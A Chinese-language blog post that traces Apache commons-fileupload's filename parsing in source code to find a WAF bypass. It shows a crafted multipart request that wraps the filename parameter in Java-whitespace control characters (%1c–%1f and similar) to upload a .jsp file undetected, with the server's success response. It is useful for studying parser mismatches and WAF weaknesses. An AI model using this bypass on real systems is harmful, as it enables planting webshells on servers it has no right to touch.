

# 从commons-fileupload源码看文件上传绕waf

## 一、前言

之前hvv的时候遇到个文件上传，有waf没绕过去就想着从文件上传解析流程看看有什么可利用的地方，于是有了这篇文章。

## 二、filename获取流程

那次主要是文件名的地方绕不过去，尝试了挺多方法就不一一说了。

首先搭建了一个和目标类似的环境，使用commons-fileupload做文件上传。

首先在 `formLists = fileUpload.parseRequest(request);` 处打断点跟入文件上传解析流程。

```
20 public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
21     String savePath = this.getServletContext().getRealPath("/upload1/");
22     String message = "";
23     List formLists = null;
24     FileItem formItem;
25     int fileSize = 10*1024*1024;
26     //使用apache文件上传组件处理文件上传
27     //1.创建一个DiskFileItemFactory工厂
28     DiskFileItemFactory diskFileItemFactory = new DiskFileItemFactory();
29     //2.创建一个文件上传解析器
30     ServletFileUpload fileUpload = new ServletFileUpload(diskFileItemFactory);
31     //解决上传文件名中文乱码
32     fileUpload.setHeaderEncoding("UTF-8");
33     //3.判断提交上来的数据是否是上传表单数据
34     if (fileUpload.isMultipartContent(request)) {
35         try{
36             formLists = fileUpload.parseRequest(request);
37         }catch (FileUploadException e) {
38             e.printStackTrace();
39         }
40         Iterator iter = formLists.iterator();
41         while (iter.hasNext()){
42             formItem = (FileItem) iter.next();
43             if (!formItem.isFormField()){
44                 if (formItem.getName()!=null&&!formItem.getName().equals("")){
45                     long unloadSize = formItem.getSize();
46                     if (unloadSize>fileSize){
47                         System.out.println("文件大小超过100M");
48                         return;
49                     }
50                     String unloadFileName = formItem.getName();
51                     System.out.println(unloadFileName);
52                     String newFileName = savePath + File.separator + unloadFileName;
53                     File file = new File(newFileName);
54                     try{
55                         formItem.write(file);
56                     }
```

注意到下面肯定是以及解析完了，那么解析的地方肯定在箭头处。

跟入到 `org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl#FileItemIteratorImpl`

```

public List /* FileItem */ parseRequest(RequestContext ctx)
    throws FileUploadException {
    List items = new ArrayList();  items: ArrayList@3575
    boolean successful = false;  successful: false
    try {
        FileItemIterator iter = getItemIterator(ctx);
        FileItemFactory fac = getFileItemFactory();
        if (fac == null) {
            throw new NullPointerException(
                "No FileItemFactory has been set.");
        }
        while (iter.hasNext()) {
            final FileItemStream item = iter.next();
            // Don't use getName() here to prevent an InvalidFileNameException.
            final String fileName = ((org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl) item).name;
            FileItem fileItem = fac.createItem(item.getFieldName(),
                item.getContentType(), item.isFormField(),
                fileName);
            items.add(fileItem);
        }
    } catch {
    }
}

```

注意到这个地方，也就是说我们的 `Content-Type` 其实只要开头为 `multipart/` 就行可以不要 `form-data`

后面就是根据 `boundary` 把请求进行分割

```

FileItemIteratorImpl(RequestContext ctx)
    throws FileUploadException, IOException {
    if (ctx == null) {
        throw new NullPointerException("ctx parameter");
    }

    String contentType = ctx.getContentType();
    if ((null == contentType)
        || (!contentType.toLowerCase().startsWith(MULTIPART))) {
        throw new InvalidContentTypeException(
            "the request doesn't contain a "
            + MULTIPART_FORM_DATA
            + " or "
            + MULTIPART_MIXED
            + " stream, content type header is "
            + contentType);
    }
}

```

调试器界面显示：

- 变量 `contentType` 的值为 `"multipart/form-data; boundary=----WebKitFormBoundaryZh3wnvvpB4EjReSs"`
- 变量 `input` 的值为 `(CoyoteInputStream@3576)`
- 变量 `charEncoding` 的值为 `"UTF-8"`
- 变量 `skipPreamble` 的值为 `true`

中间过程不想讲太多也有一些比较有趣的地方，我们直接到获取文件名的地方。

`org.apache.commons.fileupload.FileUploadBase#getName(java.lang.String)`

```

private String getName(String pContentDisposition) {
    String fileName = null;  fileName: null
    if (pContentDisposition != null) {
        String cdl = pContentDisposition.toLowerCase();  cdl: "form-data; name="file"; filename="1111.jsp"
        if (cdl.startsWith(FORM_DATA) || cdl.startsWith(ATTACHMENT)) {  cdl: "form-data; name="file"; filename="1111.jsp"
            ParameterParser parser = new ParameterParser();  parser: ParameterParser@3701
            parser.setLowerCaseNames(true);
            // Parameter parser can handle null input
            Map params = parser.parse(pContentDisposition, separator: ';');  pContentDisposition: "form-data; name="file"; filename="1111.jsp"
            if (params.containsKey("filename")) {
                fileName = (String) params.get("filename");
                if (fileName != null) {
                    fileName = fileName.trim();
                }
            }
        }
    }
}

```

此处进行解析，然后获取filename的值

```
public Map parse(
    final char[] chars,
    int offset,
    int length,
    char separator) {

    if (chars == null) {
        return new HashMap();
    }
    HashMap params = new HashMap();
    this.chars = chars;
    this.pos = offset;
    this.len = length;

    String paramName = null;
    String paramValue = null;
    while (hasChar()) {
        paramName = parseToken(new char[] {
            '=', separator });
        paramValue = null;
        if (hasChar() && (chars[pos] == '=')) {
            pos++; // skip '='
            paramValue = parseQuotedToken(new char[] {
                separator });
        }
        if (hasChar() && (chars[pos] == separator)) {
            pos++; // skip separator
        }
        if ((paramName != null) && (paramName.length() > 0)) {
            if (this.lowerCaseNames) {
                paramName = paramName.toLowerCase();
            }
            params.put(paramName, paramValue);
        }
    }
    return params;
}
```

这里就是获取参数名和参数值。跟入 `parseToken`

```

private String parseToken(final char[] terminators) {  terminators: [=, ;]
    char ch;
    i1 = pos;  pos: 0    i1: 0
    i2 = pos;
    while (hasChar()) {
        ch = chars[pos];
        if (isOneOf(ch, terminators)) {
            break;
        }
        i2++;
        pos++;
    }
    return getToken(quoted: false);
}

```

isOneOf

```

private boolean isOneOf(char ch, final char[] charray) {
    boolean result = false;
    for (int i = 0; i < charray.length; i++) {
        if (ch == charray[i]) {
            result = true;
            break;
        }
    }
    return result;
}

```

getToken

```

private String getToken(boolean quoted) {
    // Trim leading white spaces
    while ((i1 < i2) && (Character.isWhitespace(chars[i1]))) {
        i1++;
    }
    // Trim trailing white spaces
    while ((i2 > i1) && (Character.isWhitespace(chars[i2 - 1]))) {
        i2--;
    }
    // Strip away quotation marks if necessary
    if (quoted) {
        if (((i2 - i1) >= 2)
            && (chars[i1] == '"')
            && (chars[i2 - 1] == '"')) {
            i1++;
            i2--;
        }
    }
    String result = null;
    if (i2 > i1) {
        result = new String(chars, i1, count: i2 - i1);
    }
    return result;
}

```

大概意思是用先用分号将 `form-data; name="file"; filename="11111.jsp"` 分割然后获取等于号前面的值

注意到 `Character.isWhitespace`

Determines if the specified character is white space according to Java. A character is a Java whitespace character if and only if it satisfies one of the following criteria:

- It is a Unicode space character (SPACE\_SEPARATOR, LINE\_SEPARATOR, or PARAGRAPH\_SEPARATOR) but is not also a non-breaking space ('`\u00A0`', '`\u2007`', '`\u202F`').
- It is '`\t`', U+0009 HORIZONTAL TABULATION.
- It is '`\n`', U+000A LINE FEED.
- It is '`\u000B`', U+000B VERTICAL TABULATION.
- It is '`\f`', U+000C FORM FEED.
- It is '`\r`', U+000D CARRIAGE RETURN.
- It is '`\u001C`', U+001C FILE SEPARATOR.
- It is '`\u001D`', U+001D GROUP SEPARATOR.
- It is '`\u001E`', U+001E RECORD SEPARATOR.
- It is '`\u001F`', U+001F UNIT SEPARATOR.

**Note:** This method cannot handle supplementary characters. To support all Unicode characters, including supplementary characters, use the `isWhitespace(int)` method.

形参: `ch` – the character to be tested.

返回值: `true` if the character is a Java whitespace character; `false` otherwise.

自: 1.1

请参阅: `isSpaceChar(char)`

```
public static boolean isWhitespace(char ch) {  
    return isWhitespace((int)ch);  
}
```

这个是判断师傅是空白字符而且不止我们常用的空格还包括

```
1    %20  
2    %09  
3    %0a  
4    %0b  
5    %0c  
6    %0d  
7    %1c  
8    %1d  
9    %1e  
10   %1f
```

Plain Text

复制代码

此时想到了绕waf的点了，我们可以在filename的前后加入这种空白符导致waf匹配不到我们上传文件名，而我们上传依然可以解析。

Request

PrettyRawHex

Select extension...

```
1 POST /jspvul_war/fileup HTTP/1.1 \r \n
2 Host: localhost:8088 \r \n
3 Content-Length: 189 \r \n
4 Pragma: no-cache \r \n
5 Cache-Control: no-cache \r \n
6 sec-ch-ua: "Not A,Brand";v="99", "Chromium";v="98", "Google Chrome";v="98" \r \n
7 sec-ch-ua-mobile: ?0 \r \n
8 sec-ch-ua-platform: "Windows" \r \n
9 Upgrade-Insecure-Requests: 1 \r \n
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/98.0.4758.102 Safari/537.36 \r \n
11 Origin: http://localhost:8088 \r \n
12 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZh3wnvEPB4EjReSs \r \n
13 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.9 \r \n
14 Accept-Encoding: gzip, deflate \r \n
15 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,fil;q=0.6 \r \n
16 Cookie: JSESSIONID=69766BC3742311A529C83FF2457F158F \r \n
17 Connection: close \r \n
18 \r \n
19 -----WebKitFormBoundaryZh3wnvEPB4EjReSs \r \n
20 Content-Disposition: form-data; name="file"; lc filename lc = "11111.jsp" \r \n
21 Content-Type: image/png \r \n
22 \r \n
23 shell \r \n
24 -----WebKitFormBoundaryZh3wnvEPB4EjReSs-- \r \n
25
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 200
2 Content-Type: text/html;charset=UTF-8
3 Content-Length: 29
4 Date: Thu, 24 Feb 2022 15:53:35 GMT
5 Connection: close
6
7 文件路径为: 11111.jsp
8
```

至此文件名处已经绕过waf，内容处绕法很多就不讲了。

当时就注意到这个地方，后面仔细看了还有很多点，然后还看了.NET 的 `context.Request.Files` 也有一些有趣的地方，大家可以去看看。